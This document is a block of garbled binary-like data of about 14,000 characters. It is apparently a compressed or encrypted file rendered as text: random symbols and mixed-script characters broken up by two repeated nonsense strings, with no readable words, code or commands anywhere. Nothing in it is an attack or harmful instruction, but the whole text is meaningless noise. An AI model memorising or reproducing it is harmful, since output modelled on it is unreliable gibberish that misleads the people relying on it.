Aooafcklrnhptr|bRYwgvtifpurqP,FG}PGwgvtifpurqlɳ0%\DL&'=yn&f/	Y7}߫v8PDf	iN(w	E?^MwgvtifpurqC(Yr!MM,ٚ0ZbĚXM8]r	 yc(z(
#/Ք&=bi"s^[y'oi;;;P(l5#J]u|#
M|}\.jo+Hwgvtifpurq(vSwL;k{5&EgvlVO;@K"Y6 *wSv)1Gɏ"ka_&F 0D03,4,/V,ʎhÏvم/+lz@ˣhc,sd n:
۟V/-܀8]_OQ =fAF}:c l
h΂0?-y41?3z7
Ki4yeミ8ˌQIoafcklrnhp=k0" HRg%_YleQ =wgvtifpurq@̏ja*yJG`-0.?n{[@QEIw{lޯi ZJkqgu[5Swzǡy=r_lu@4ڤl{L\obzE[GHڱFi2ٷDmRvA+OVܛTC)PM! .5\N㗈R('&
Dwgvtifpurq#N&8SUGoafcklrnhpe=%ѿwgvtifpurqCeAKr?v3`!No^_νVAȶJŭ' RgzuU.
|`0z훒O)ȏڸ[^
X?ɤV5jJUnRb'oafcklrnhp`  7?wgvtifpurqK}?b[2fxP5tR
w&;Fv1oafcklrnhpoafcklrnhp R^FWAa)=JoafcklrnhpņASӾDo4j@G{-~;?WPSK8XZɏl,)ǲ3WR{ƺ9ПL9*iJąOcG+![/\Dm!`|pYcلU;5QƎvmp0GEMXQ1spS	/V~z["!oR c}fv&N6Z=eC2KU٥&p cBR_0H8ͦӺ_(g	^X׹Զ
&Gąi^A,'SV}
nc4tPn8uTw[ȐcTW嵘a޶-Z@r܉&6?rdZT_*:@oL.Y  Mw.eq./q1+va=IT7+TˤBP\$]p$d)
$HS7?aGL?
SIԔu6wgvtifpurq=Ūq@]tzC)	_6⅄hwgvtifpurqK
hh4ê6N@T}";nXM$O
pw;N XWq[*Ӝ`GTui,x ްf 볆 lF6Cki#4.!#mbvzB?nG嚉N+u-AwwgvtifpurqoafcklrnhpAHU͇@nB$')ǻʍ~`dۖ/Ȗ0u£*l*97ȣHJ&,

h!!䉝'oafcklrnhp8:Wirhhk%ʳ~p8eq[n4h/(dW_&\|BwPB|˺(.tٮ飕GwyPNP$Mg*-(bp1W@?tԖq֢}TLQ⼄*f"2(oafcklrnhpMTg}P95\a,HJq#YR֌ͺIpL	wgvtifpurq4D/@ׁ^D&~gv&qB2wgvtifpurq56c
cw̚IMQMA}HU$\]Z󮙅1HsBwgvtifpurqWvyդ/zSŬ'E̔5pA.pmQz4@Dbg&B$Ծpx~/d|ɘe_ZFw!ߕY'Q\@Ӽ(s"ȶ߼(sCct(wgvtifpurq&fh)IJ[WM	X跭m@o#&Sy8SPdDsIK0;?3liZH/R@Aɺ
v]ZVOHoafcklrnhp8ۅN6T@\?s3k@Ǟ3bbPMM٤!"2}%̂,󟪗m2:n&/
T:HdL6i~lo3c#a32`!P@HDV3 pS-7CI8oafcklrnhp	N	bfP8];fޑI Sv98∔\NꄖL/ۡ6	Eoafcklrnhp+NpIq!{^d+!έ BFqU=_MT
˒% %{	[5Wʵ(d_Qxӥo$jAbu]W͛T#wUX~yX_XȢ\XH,MBJ.Qwgvtifpurqɯ:	Aas4Ng1)woafcklrnhp!OAOB}*)޸r_Ju$[$_nV{1*F;ݘ~v(.UȂ֝hM%wgvtifpurqiv69qMCQV9A h&[:0׎lXuy`'GF4eW;)yeeH%o7}7#muÔ(PwjhQGEСB=%&?..2%
'uedQ?]Q?bƖjX%E]s3茤|%9%_n9["PTm|l_E^|إoafcklrnhpXp\Tcz:&77rEVX95M8$yOvMix.Fz0Ϟc)J[n F]W71=";DhGGw 7(ʽ1&#	׉W6@.$WD}$u)8N~t4fΥToo%uZx
c)\ӧ7oA&xBUppekz9S輴] ٗܕ47vQJ^QlkǕBƇHcZ+cw 6xYAwgvtifpurq9Uߋ9 N"|J'RZ)$4`G_9w`_v?.x`ݧJrF
Ǯy_fXݎoJcS.?^'hpAoafcklrnhp5l|ih( L}0!3'uRR@$a)tٓq[5I27ł&H\PmEr
\O]rvPE0Cl]	8pL!1#TR9k0wgvtifpurq:8sB'..g{~xլ縜icPl\Ix$ʀ+d&vI*ԖMPIpwgvtifpurqvӀl̃MAEOQOLQkZwgvtifpurq꯹^ ["m62hAWQBh
״ՖQÆE&s]8PlDdNLČIXaӿC*	.NJRp%aAkY J菳WAo8Pntn"
(,	Arˢf(CL~
V- \skwgvtifpurqa56VlN4m=vX֤,t;,/*QT;(et惃uz̄\AΣچTg[-1%jdoafcklrnhpIau=hʳe뭞FB;ۏ
 %oafcklrnhpB=n̙X:!SGL^Ea&Bwgvtifpurq&]^"g{Wuz-F~0
/Ë	qY#Ӻ8%gfe[TĸDbhj||Qy!}b:C@[A@.ql-js!PJ4&,FdG,@N֪
MF에eS2;N|DEKӬc4H(d &ӣ_c7DKE$#X״^gU	:lE[	4E)W
!KmeV~H-uwgvtifpurq.O. y=Dbq0W[АlEErİ7rm~=]jjF!XfuȦڮ?{WSv#AgFsoafcklrnhp''Î@ok+h4#/ݿpSMkF	Dg=ϡvGfq cYn"[uME?/I;YX=-S=50=Dwgvtifpurq] 4F|)b
GFקI]r,iP5蘽3n+ďB*BP
mO]4)Xj2UrD
@W+(J$[nq.ߴ2z~{n(g~k}	Xv{雮=֧"Kl=AQ~6obӅp?6̱*bT:/Cwgvtifpurqa%zs_[TԴM|w|1s+#+aզ}GV=9͇oڇm0En~Hd59^:wgvtifpurqrׁ'K3hR{u2ɞ|lrt:w.;uOp~k'##;Pށ?g{#7a`_=,ru|/gŏ ɩLk.:5pkt	`+_A gRT|H0D^у|j$"6~rؔKoHh%I(˛(giE`wE
["y^3O~+cIC4
BWpo`s8 v:MYIlvc6cb䏄_ۗx}+w:Y-^CP;ñ72RS/\FEfb.mc
DwgvtifpurqbbWЏ|^LL5r{(=-{	+2@z!H$08ף/3+ :q XjEp4NYV)ٯcۤx=U_DX?'w	Zy.Oz#:')`]F0Utn؛5sM2`nA: oBۗ%1GRy9vfA2haK!VM*Wxr
$UNʃ"ج$wgvtifpurq^,i~sl({~R4:`6,#$*:[vc&kʵiPewRsWgi5zeȇzcf4mSxHTQ}&2b NVԉQև{cC6bZB]Mr?fR6\p8͡2Uvh?uiU3ާRajx1b43Tk&IRl%C,zMҏ-K9Ch"5f4Kɍ	qInz
X
8om
h&q\zB"8̓AZbM(k0MՅzYоߖʆLJ]j͍Y#%J1.ui&GǫC6VWAQ́ݩ`F՞ڙoafcklrnhp|I0S݉-|tP~Nc)g/색 srMwgvtifpurqoafcklrnhpozf^MͿǇq;j-Df7g&"A¢f#Ѵoafcklrnhp7BW
pwPWZYW?fM{bBa9j{n؇:hS	Q	%gR޵(q[*i;wgvtifpurqwgvtifpurq|W=.u!8Y9YSE~/J򗇚_WM_0.OÒ|TZ8k ީ/e֡{
aCtٯבd-"0RBMt}ē2	1!ѫN3T3T3M۱	MMSYX]wgvtifpurqFz1H,W1X3?B%,OCpͼ]nݼd"'Skl9u@Bxk$LD{G
mxzOR+EUXjbo
||mȈ@RX&M2iJ2y
4.44zB*?WWJ㒺	ڛudAa*("IнϤ&Ou(@k/0E?﫱xt[c]sp5@Ze[_(uREհ,RӾyŃr(Lѩu
ǿ@C6:CqC/؍4zVAM	=.:][ɷ+^ u\$m8![耬_9Ά̓Ά2s,LoN.w4+fun	5@2	Ŏ8e9!λgP[YfżʄO2̳i'Ocx-p@gHBCPVcd*8`k6kTQy |9[i&^?oP&li;x]Tgה0cwgvtifpurqh 1^yҀ*)wgvtifpurq]wgvtifpurq뙋;)gY"@ŪQ~x/cGgגY^DD|po͏d
[T%bʔ	boafcklrnhp
Uι+S6N^P&fEd0m2Q3@wgvtifpurqtWmƗPZ
P$gҰ:T9ȝ"ݓ0c e`P"]~	gU+l"ucw}[zfɨT	y4ӄ!	]ί 
x[Zm]M
/{JOٹl"ɀ2R0~!YL͎oafcklrnhpPfW{q˓E!wgvtifpurqїX@$/-*9֭?q  oafcklrnhpC{Yŏ-$;8 脠w5HFJfQZ5~ OuddĂĘFoafcklrnhp^~IW16wgvtifpurq3/xQц/Ő/Ihr˖;"mh_/MLdƮ		wgvtifpurq+O^O;
\H#H]ܢf49KK k9")ųja8bچJw8|!_bXi0Ĕoafcklrnhpcޡ.-(3^|p'PYH:ڗ^5#j'Kl	F8BpDUsCyJ6&-}iRsnV{)  z_MyjŜM-J"p@(H
ەC!~6j=EGo4X.	kTv:1	=[1Ql?7krࠡ;`JkhH),~jMmX㜻3bG:!5gL]̿Ŧ/rQ*kKO.iDs0g'p3#ޢ_DU7/5Ų+-RUɗ	H)_31޳Tsc@z#Soafcklrnhp^(U}oafcklrnhpb"Հ3`Vx/$doafcklrnhp]k +[r#[OѤ-zZ_r&LJ Koafcklrnhp!ָnֱ)#@1orXm2Fb,Ya)V&Z~@ݑOcoafcklrnhpzB/}䜳k2ӸLxgN0Ho(}4z7@E]bKHX?|پzkc~qP("NdEP&cKFoafcklrnhp@ۏpޖWeۣ䐂9!,Ӣ2H0j ;$/*_/We4oсdR`i`f*~!vߍ|m';(__ۇmv~+'fђgOQy~)b15-ZJ$s:يNwgvtifpurqގC:\{c(6?EAб7=0%?ev$pa67gjr&[wI	5'=Ix7:oafcklrnhpc2\m^(~-7Xy󠲢wgvtifpurqYLf'Z䨰Rh|]az M73u9ְr8VЄLe:z|X~Npd QH*ȫG?!)m,r&l8=S!PAԧWwgvtifpurq@& g7cpڜc|T)mefI"Ώ(rg
*VLln0ɔUooafcklrnhpn:hyFS0Uen
[@UxUu%b5BAvh:
UNA93;}W+caZ%\&^@lL~Eicߧg9Vgm%ڶW7BiHȡܦNEDqSʑ&rx,M׬@@y"Ve	}8ǫ("@]v?}߸䟁HہFoafcklrnhpG\^n4O+Z	f#vĶMDBֲ%yEh)e(9'SSlj~0{rpg	eD%as Ugo򀙧wwgvtifpurqjˁ,
!&MC  XFMr	 6c#=nbiūHiYS[{v]r*J_v|uNJq]iýsk i)!h\*oafcklrnhpޚRlifaͦ!=MXx_-#er%R6JiJ(`m %`X5'?\{6U_'@z0BF \`Jx[n/fsʮ4CJwgvtifpurq}gDmwu!6 $[]Y!~!fdoafcklrnhph	1	@nVo;D;/`@/nLP}ƟHBBIFu^K(A\/`
nǐs"+äZغ[ReH-yȤ }zH(^7|wgvtifpurqZ,.dYOݭm:kзőPQ&.m/D4?"3Ƕ7L$lѷWc%i,wgvtifpurqtK"diѢcM7
]ePUzwgvtifpurq|!P&:Ѿ090}
~.˫+pH0Aq(03n D{Y2g,W@4g(I_ʊOYrWMDZ,pQw͏M7 Z'j^ؖwsg@PA!E3Hr!Q:R\XnЄ|Gc`w#H4oK$jBf2]
TUhcUQ!^t)jSz Șk(Eq
.(LJ*	XNwgvtifpurq۬t8k̭tcV=PM^V;SMkoafcklrnhpRW[oafcklrnhp,݉pa{NQԱ4-ȶ`ɳ{%Y%B1&UyfD9$0(AOW"ڽ:6_ϛ4qA`"!y+GM|X7,WF巣էjdGeщT|߼V-+Euφ@,80Lq]\5TJ֨ 
V5AM
nzDDb
҅ p?5? k0_'[b0t|+LzڻkYx'VA7nB+o:Ml/ fiVQeN!r`*GBa+Y	GY`%Ul}O"ًLCGoafcklrnhp^FkzMea黳zf%3%:KDt	$Ǽ%m8tR}Oƛ!}%&Ïc+HEgKgF/V9c~m
sZ\mÿap:]Nh`^%R! TG)9D2oafcklrnhp#q#irvKO h$4(c.(o3&8w	KOtňá=8~ܟsL^1jl}wgvtifpurq0e5QXh28lJ͌[ahک
]~mWiIvZVWz
5?bѡЀa+?o(|U=@
TSJmOUrJ=@[GV;jS
avPQZp*o؄ &ԫٔi/2L=R?"T6ҋi~xXKxVA!oafcklrnhpt
t0F{|kÞl[Vѽ4"ѓKV)et\ wfd@#V9HJBǴL:bߪ@Voafcklrnhpu#t6;@sߘ݊%'Ys	˯=3XMoSXs'ޡ(/y_2w'Fǎ(JT8p4A#7A]@*,Z		/wVMѥn"!yǣOj3~$Uw~\"+nW;}F&#MQP8wWH273fs)d/}V?lJ
$(/^G2_.ˇ5)!Gŵxzǰx]pB	Vv0V&"͵9N $Kb˨:jhQ( Ƿg"L;)եEJeoafcklrnhpUxMwJ=[ӿoafcklrnhp.TdZYQYƂ؏q
&grK5eD$vWriwgvtifpurq#W`]3_r2z󺡀5hJE 	'hDtP]Lk!*e9abwB}{@˹X5dvW&"["G;z )޳s5{}Jbk?
!6lhz=6̂oҵP1zFVkoNvP|[vo༁r_#ѹ
=Lw#\yH#.#erIo|9±a
S_^fe vzDA??F\'pҬHBΖ?Uq#餂tUߟ4-qDE\LwgvtifpurqO*&'2AQO;P9:XEەţ2?vDaZk,U`MiI@='Cw
guo&ބ/o	W؏ewƏ)׋͡PnNV	x}7
~0KjdW b4')%׌kC]2.mog1ڄ,RMsz&U9ewgvtifpurqs	'dftV[.E	5`\~V1CE$ V1/ r
AmprHQ",_`
0B32
irMGevDw,ja¢3m]CYݧ~V aЅfih`97_dO_znoafcklrnhp+۰eNv!sLgtݭYb ,hwceÑ[A=
B0nZ
ȄO"gK~vxO۟/	~O2 07.*(2p/j֢Q~w^čҎVVB#g`1)hG"wgvtifpurqTۍWwBQwgvtifpurq[8NXRg]r}%BJhS~;E[x5/dD30ӫ:eSսFȽ@\"ۣDIyݴט~6Xv_T.pџ@tQC5Zy.T)L. cKUKCA8أʈUȫ{?в7,d~+5
bϛA^ef
T`+h[6Zeb"uБ`78+;c#5gjm"wW`'v5I0et4VqG{TR	Z[	0řrϙ#X
Deu됯^Ha\Fw0CD45Ք-^?cM-Ā,3rFM׫r=l{FBhNpGR:;|Rh9gZXXy zѕAoafcklrnhp&U'1R+ uhv궣Ky񂛈^QpppV&svfBoafcklrnhpfǖ	Uh:Q6C 5e,P0,h{Kc
9/*ucyoZ+t.F$^	74#D鎿K'fk.h1}F"oTe;Oؼě6m-A
asjaSUY{U
E&e)+;'Kɏ\/#4K`+kD}{*	ސ8n)wWdZ]1PgN_'}:;QeܷHW9gu`NIw5 j24Rx)/Ce̓02G'Nͼ9ru3~,pw#vJoafcklrnhpv}- s/JSmڢP-)s7.Efq|7߱ؾĒa	t))N$oafcklrnhp3qGHӞN|^fwgvtifpurqI;,׸|náXuTWG\;B&:[*hBHr5eJ| a9Onڎd4h0&ؿpN[4A';2n
&7:Aċz-^lUOSyHmo79%cbz2#rW岡*C,햙3 ؓeiOKOaKYi˭
fub*h\E@:dݵ39t7oafcklrnhpS'ZIk':nz/ T,%/Q%tT/	 Jj4[L/'/VZ'S?;7$gh_-jk]3o;e3J_wgvtifpurqP*	(Xj|_SR͸N]UÈJXa	:%u=!		N:X#;'Zܞ`9q*3lq`B'RZ`$1``n0o	3GJ	UZPﵿ:Z{ŀZ}|)VL|݃n!DW[_CWKqzTk_{Q5-ZK}kF1/r
I_&.pP8{[boafcklrnhp]$ Y	6k)Pr'x*~d$I3@a7LLCMfoafcklrnhp&"X,[oafcklrnhpwgvtifpurq@
J
ND4q	j,KxuvT+GJR@W׊[3Ρ&/2qg{UMu3K [9P"C0?"#`S}{^HCi898Ϲ
}(FfL6E3	GXPt)YmF6J&jz٪:HeS"*'ꪄG[G@Q5 `S0
gO0\Pt3JxyߞҢUSvDx-~YcTȮZvL&wgvtifpurqװC\৐  \b`'8~ǂ ?5|"pl`{_i屒BkgS]oafcklrnhp&&uݤ)o%دJ%C-?0T_%xTW-dLzcjQO f?'iv8^Q	.nuvYTwXBB_N5'^.66*'#}F_\0PKl^L8]to? =fZoӆ N_q2|,_/)䳉
D*Ԫ.L34wwgvtifpurqbz	FoafcklrnhpZc}D O[IfɵAuD
B7USy1߻i
k{NH_v`s09^HAsp'z$p@^
ݼqAZvA%~1jZ8wRO4ںmN@d뮖c%m=YuFDZ;uGX&-!
[5pGDd$609OO
ex&M}aqҩH3gfلt.+P58/
F#(moafcklrnhpX)WA0#Ts3 csޤ={j2CS5ePWEmOMIXoafcklrnhp&gc*s.G9˩7My`89q,*֛@q@S!d+3ł`ȀauQkE9
?w&XqҰy G^cX"/e~Nu&@4nH֝^&tNn\(nЍ_}S,H/1g/jpcYPSASAv,dZ*Cf%sQ$: :H}󌻄ҪY*m0#̚9gIVm_~V5%
	Ld4wgvtifpurq~db7τw6(kmY['jAYzo[R{9ąoafcklrnhp& ej/'v{Z\:rVG(ɉzϻ5aa5mG;]|NJoafcklrnhp^Wo
@f-1ve?QK32@k?dTAɂ{~HjF G*,	=V+49Yn(J MQ.3ay\LpφϏH
$|+GyַՒ9RZ|
ag	6F2WKEǝUL&g}ipH:-V7^_wgvtifpurq/}wgvtifpurq(RO4U!4#lvY݊ŭ%mdm rX}+܁!z)	RT0]c8yܚu#˥~+Ȇ?IID{U0Սt'FSu	e;yBvE"oafcklrnhpFHfx=bI!	-6Ded9"\O~`g/oafcklrnhp@?s͇nwgvtifpurq,wgvtifpurq
tl.@uAf;k
kkV,{PW1X̗lKQd!uw샃w;5Ȇs4'̖)VD(NM2oG"PcS&5SJdj^=9ӄ*7Q}^-}i,KFL]2ch&ޥwgvtifpurq	{~?Mt53טxnsUb`g˯SfnAc0_BThM9]T;c3?js3:8IvY#rE;:_T$#ȯ5woP+f7´*ĒMd3un"1fh/[@G	ľѳ.ItrwƎPTQXyKO-^)!b"Òk)*PoafcklrnhpunP:O1xJNPLlkզ܈ǅc(į9"4|D~f4\h9 NSQ#wgvtifpurqڗɧ}EF*3yfBzX:FoafcklrnhpBcqqJoDޏm-Xp0-Nܪ%m-wB!0{\ N,]Ii)ZsMؼ6T0Po Б\HZ4Dl
~_z-}/rFQp5DoEL	,$^Qfc#d'"]6lU 0)Fo-}ϗ\^Or#wgvtifpurq3$XbsvB3v{	ow8
A+6p*gieεᵔ{oafcklrnhpJ"ښ1`b&6\:뺈62rv\Y?HӆV"J
be
i+4oafcklrnhp2
8hQva C3&2cD)7( '{:4uR
oafcklrnhpd CkmS^CY(wgvtifpurqyPnjDta[={p	rB2 ~LLwgvtifpurqD	00%!=!xWC=3֖ʁK ЯQ!yf1HPz~2SiDh2@!hi1ެ~ʰUSIV垵0EZ+n=hperr.G}x؊wgvtifpurq㋒@ۍ D:4S^j+|w!QD{ʐAҼ~$f:OHAIʕt\"@eQH֗J:`m4T-ɘ2a$9 [`V;+#amo
)[~Ewgvtifpurq9u:i4cxB:dA1li^~LMWe
Tk_AAq"U,9syw̮FpgEML5wgvtifpurqɕH^PG=?#Y &l+ҋ'-yPw[L_©^FoafcklrnhpҲ.CO1 aR.EB_UxUϱg[6^w!S֟x/L8 o
Swgvtifpurq {1~yIKrQ'wgvtifpurq Hwgvtifpurq+{\*[Rw|٘H wlnY2sq6:`TKoafcklrnhpOsv8
\Ӝ c6k!WyIg1c_
SyP^Qudf0'[wE$v(fɶ=wPf(;c*`3*=t
)괂cm ]4m
Y[A)
d 0Z:M$b&̀U nq
w 2iwzoafcklrnhpi}mp[)Oۍ7MP^@e{Դl 1:+@TWXj[J[sDFwgvtifpurqκUGV:)ُiޝ_Ej -nŚ%~ڮ5/B "EܡB|-Q
b9ꅜ' C(8U1Awgvtifpurqwgvtifpurq!
=;X$'x`" -\oK]ʺk|ؓfhr'
.U,S|酲jH !٩$N֊8] 5fFNs26S
6)8Dֵ,Sk
'oafcklrnhpOm͔REwgvtifpurq*N;O'fcg	:ƫWlz{aߊDȉ*@"̋2|_d&Ş.ɝIrǌutA&4M=6Z	͢* p}OM!܎8wv%vi.6՞xwgvtifpurqo%dxsȂo}(j6Od6@Q.ՎkrUk(v
yf%L]XBsI 42蚝fM@ZM˱'Emqbv]qV%b~fjtCZّOd+"8!DFZ!T+K[.5Yc6ɀTE_)JFcBvje(WJGF=` p%nM} [-Ue1?D:n:B$w5~ŏlµD=hi؉LQx4l-i&BlEqդ(oٔM#,,̶2"lXr$rqȇĺie"SCf$)/!XLJNƐL#fxּ~M
%z
0r2[+ kL,Ί,-Pŋ)ʿjcn)no@'7\2opO u^ 9_!@ei.#	wgvtifpurqZAVoafcklrnhp/Ve+ֵXvЫQՠj;pphsEͥ_DA;қɚ?@oafcklrnhpDHB?*"˥oafcklrnhpiKkb %#Ϻ82+%{O`¤V?Eʏc	i"Pomna{Vģ)6E@m{OΨwn	)W;ꏥalBZvkq={|hEOJ˪kVɻv"R7$N7oafcklrnhplsMwgvtifpurqN-_c^X3
nWO7ۏ,'ٌ=y	m`nZ,&A4T$r1U"t+Y!aM,* r3ή(n\@Ҩ]~OMYٲ\vutt?7;ߪ&ݥ)֚RC9s"q*ooS݋GJoafcklrnhp6_׀839)CK8NT5*_Zެw/ʓcfG,6)f.|Jш%IڭRzA,@BPYꆬR`zg^\(/騀`zG`B3wgvtifpurq1pIqF?IqI7e&L
%Ejf68ͳɜh(R97p_*) 0/"*Ȕ|q'$
toafcklrnhpH41v7'-qIwgvtifpurqoafcklrnhpߴ_?֍to@9Y\ǿyY(e3zФnZO,l$/sWD ?BR
":JZؽd?߁xoafcklrnhpk}[f ?CɣtwJHeZNZY/\!sqlgǒ7:oGt^WQ͕RwLY _csqԲk)8
Xp=Q.B$͸._^׹dg"C#hIvAؙHXG:*Ϟwgvtifpurq}Qc?Ϧi&|GA+ c$k i `~ϧ7}*Qm!m\/gVzqԏGP'43O^G	7!˲lp-ﺨŕ[ =
5~ǵhC)5`PN
xƽn`i^Z2Ƙg3fa=!AqK$"FDSD}Hӭ{3	S&L9Y'N\i^ԾV.I1
eT߭IuKŰ0qI!Ԛ}ա%呀@O\ix?$Ɂqsb 87x|"r#̪8oafcklrnhpDAKtg@]mM
eFI7?J.un۬a)KD5Cy))+}\9WC. gǦgN꘺ߠe:f|N_H I-ޥ\nvGb5ƷV=]َ_ZFnh\k48Ao'_AF?U_
e{Q7r.M Ǌ}pmq0|:	4Dj~m'؉ȈҏMW[9dșYԜ2pB915ƒ!ҵ~
C5
H7%oD+Pw86rܘ{G0C3'oafcklrnhp,6I7$**P'%i~2r&_άN\d:LwtM{k:JYћ_ߗNkjit LP#*Q9_T?ԴAnɡv;oafcklrnhpL|HOy*Fխc+c;P&)Cr瞳7СGOJ%˾ac|ȢhWU)&ħwgvtifpurqtSFU~oafcklrnhpKe1v
y|%y[VpD:Z]xeK#KG^{5YW{fV
7C\fG%%O-OD_5 ^N)mѨi\ԿMq+`"rEշoYN}FoafcklrnhpbFZ Loafcklrnhp%0oafcklrnhpY˙sߗ)ti1lHmqooafcklrnhpRqm4؇
*.
|aS-^Z3"kXpF.R#6;!y(M+w9[6rS倐;zIΨHmtJ/nɵ'};1Odb?U`swyV*TDmaNB&k kCsm$)c& N2jg)D$.S/`.$wgvtifpurqAF)
K3f'Mj~&\&A_i}Cd'JD+z5kJSM?u;,#cR`rJq4¡girN(]~^ROJܿCc~sDS[ajgPΗږ(iooafcklrnhpdXOAm٩4/ wG!ƶoafcklrnhp2ufY1T)_pN|~;8@)h`*ganFIX~OOo5d#2(q?~O ]TrO.`0b}b== iՍd(@z+GfbOًW
cX_//O˫S%|c
Ik9Nb\bHukןlɼRlA[|WWW8ZvddøkPm3zggjdy	@xҡlE]}QO|[M3h/1Ep;[Wn,oafcklrnhpщo-۸@gt]Vn	oafcklrnhp$ʁ+12-rفeDBix_⻃3430l3ꁏYys}Wǘ?T4 
Ťq=LXtrt)aZ
-J+_bj&D6 bSk˸$~aV2E0xPw)#p?1.h8[_~	mҬl/^)1Hhzq]ghAيh}{A8BaXމ?NsElkyfD#AÔDzӴ@
/? d5'sQj
?.	uWNL`bYXLA/sXM|+i0n耝tO_=!_1?!ճy4/_]IU4Tu~/ש}%cٿh_~DQJb0R_)(H4^gBKRXi/ofY[{,厂F#	Ϥ	=By;eN5WoEz,?vawgvtifpurqT0aъF_)|d|
#+oafcklrnhpD_UZ5@X\WMzpXq+}}'FwgvtifpurqXX,w *(qj	v5
ʒHyDJN '
ZcєtF``ьI[&sE*hd1̖a	
KbE6AnC:-vַZHpZ-s061]|(Q:NFW㸌xx	T}S5PT9a`ڔwgvtifpurq*+ݬpk'pz3Ȍڡ9 I"We]U'd$
~ֈ0D= {P)Sh˖s.MvIީ/E'ñb;e*.5{kޖXsIXJcD Bۓ	Ϋe3in/VKNeY^	NZIƷ7|
^
Yoafcklrnhpr RpwgvtifpurqωXcEoZ@U	^P?j^mI-ԩYWYY2Yr|?PZg:@Q63HzEׯzfq;E#槷]g q1&_$d$NS	%CwgvtifpurqDx`G
Rv3|3WX,'d|Ѣ}O/KSD␣A9Z}4`5
;s}0%v~n%uK`)P!M&}HlG DBoT7»A2Q)uz75Z$^,'RPUb
zwӱ$y{w?CwgvtifpurqbUqUH2$l:i_JH(]wgvtifpurq3nkجsGmei	֪sn'2%6؈5Q5=fob(Ū1Öy0bk#G憬3K^rJǰPeˀ)SoIV90eu
n:Ed'f9}:vCe&N'Ioafcklrnhp*CeSda&)l⮴Q辑"TA+5+30MU5S,#2fcP~&E/A+t\ATPMyf]cZoafcklrnhpZwgvtifpurq:wzL$O$8.)M6DdI$Kwbİ7Իgv	]PLbcUYq!JhiCKI,gV䴶7$hM	hWc,
۩D*gbU^:z2[EPJfZtTk
4|7Л_{Ϯy2G13i|V( OF;
1e
\[t2WR:_2Y*xwʧ1(qՎgFp0-Z(&(7p_xiR1gld*W#?.jn~R:-uwgvtifpurqm,lg5#l+Lkfr7;N~VGz?'.E
#E:.&.D)u=ff39߫] `5cP0a#wf-(c;wgvtifpurqwgvtifpurqC)
.Ecv=OM8??'@ʟ`B PmJSZh[wa2~/x+cP2)"+{,عâfxgW(=qA!\F &%C=,:(Sotj+D)F$ao{cQXs8l8o?YEbSaa;NAbQ2?K5MLJ$bl11~6esc唵Z4د#r^	W]h"Z۴mqN6ޡFmg)?`94!qۣ2wgvtifpurq.lN$P`5A}_@S!q1}G:JըY۬oafcklrnhp1/оqb 55SߢX	W*]_o
Ef&n֣noafcklrnhp׊?(kLqS%ǘq"q
X䘘.'X+{Ǹ:vZG-bKN&2*6x1)Du4-n|9KO%p;

1DH`oafcklrnhp~dGYf^"¹N2Z\EJqoafcklrnhps#_møƏCwgvtifpurq팆D˝~T9ÉI/Y}UQzsF=aXm9MKZ=wgvtifpurq?wgvtifpurqUޘֽ䎕
IeVЧwgvtifpurq$˟`Wz7~ҏfF$`R"[+(	oafcklrnhpe.EG2qcy#o6ЯG@ƚ-i.
-Tqǉ4yYH߽s?N
gȘ@9wD~B]Z[vPY==@zu[I܍=Gumaxxv]xlG|'u!T@*hY6C*
VF1V~CLT@jqH4~]WoWSG1v	R@Vur)y/&j\]5;Sv"oafcklrnhpFdXI6w.F
Ä4
mYg2/j1961p+y}[MH:a.E/Y\|/{F7剎"!g\IF,I+jڌ
-A}Q.ǶŻ]?rgє۫)5=oafcklrnhp ꢟWr2-G.0ʥ2h*KH^hYl?Vw`(+vв-UHd[璢9D"U.
czٳW-8g8ڿiuqu , qŧY?)]	ߍxč2oafcklrnhpwk~ b+$LEAXY(Qik)mak{b"
rݤUC5ӄ(Ojiy;6,JIɶ*E:IiM~pLEE75yܯwƈ68_Z6T[O-F]EjC9Gua꒱ ov]R"\e0Q9fqUcmDA/vx{lL1{D3&|5vm$Nj~:
oafcklrnhpHHHZ{+סP
h`#S̜zLa8(P&Q`{^@A;SG9= V`)x4l~6":Ǡ)~v6	qJBۆEpXrorJ?MfIwgvtifpurqpF
{s.Kjua N(d41s09=7;HWג4zF=GLOE0?V/8k㤄TJ?.xd`-1@?X5o'vLX)	=ZLwgvtifpurq`_dNaBFen똯`i|*ctH)",x=ޛXd']Ōg$4NgIP\g
^i$]y&E#@Vk(wYz5q[,.=rDIy; spM1|֖)g*BRE2ڔlkO$':m~N	Oڻ!cDUbQx$K޲MχYQnTHsJNfPkәPd,p7~v6̀s6?_qVdBjTY4Y8O w確i3z\]	8O[3Tz4|aV0Q#Fy5hyvLǹ2MTי:օ\ǦHBn"Ij,@@7Ы$w5`wgvtifpurq*"5;MZw(NUf
筋H(9]AbcmA8pCpi|Cb]^9_ݕtwgvtifpurqCRV:9ʂŵE)'Rt	MUe@ߓs[%kARu|wgvtifpurqKu
wbgLocoU(,,)nEł)TⰂv&XnW +lU$:?-TG0
tR^7vyݔ?:tY=ƃ:;|Z	_==h[3w]wgvtifpurqvbT9xYd*Ly!BbIurJq?V+'o 뢙~e$ZwC˺=0
ZzT~#Zn\3 8`ʪ,k "7O% ga4t_n P
^|hJwgvtifpurqZ{!}hmkJy`W&E'5q[jkh=N0NL]%LIdGC)&(wmK[K~&JN(%r_AᵙdN]bQI~)sszppl8\5'VZwgvtifpurq'gGNIpByPL2L)~nCE};7FX{Ԍ,VeCyrPM*]	Zd#$D'4IpA
ut:7T]qMBPZc/E-BI~Cb&Ļ#
 ZpL?7[zށwgvtifpurq֏ZY^QHE'҅C9	;Q/揶T;uz˭~bРwV/s@"%#ZME6@XF|[|2ת#uB.̍84ZS`ShDSjr8Kp!SpD^pru9דmcYݎeȇ.odsKUhokI-wgvtifpurq36L!mJڔ֖449h{k8AOwy\Е=;^ڬs$(#]V@H&6LwgvtifpurqEǡTpoafcklrnhp_Y0[b۝xe!	xQmf9K;'a/14
sb	G՘2\Ezɫҋ=I(ІÝGy=Qyq}[zC%ݮZ9 dU6nNnD$y5h]phQlGy+K.IӕiA hl
K_Z$K[͛oafcklrnhp/lwgvtifpurqG}xwgvtifpurq@!M5l*PP#COn,t|:#oafcklrnhpOwgvtifpurq|`*++LwgvtifpurqðN!'g &6?KS!ng+R)JX`zs5'fAWǆ(8@4TэY1(8"R{w.{*=WV%؟xh\Хmp2`esdg"IղX7G!'plTmSz^a)IG0QёKĊPLӱF5`H7sc08XL]3Iz?oafcklrnhp_a4TǟrnksNR-Aq)ռ#}ߠԓb\xoafcklrnhp#l7"^7h=:jYڛ;;K&9	+5Ģr6#F[{ncw*L7Y	xa*+۴u}^;0iD*Zez8+7Uq\Vm=}1 
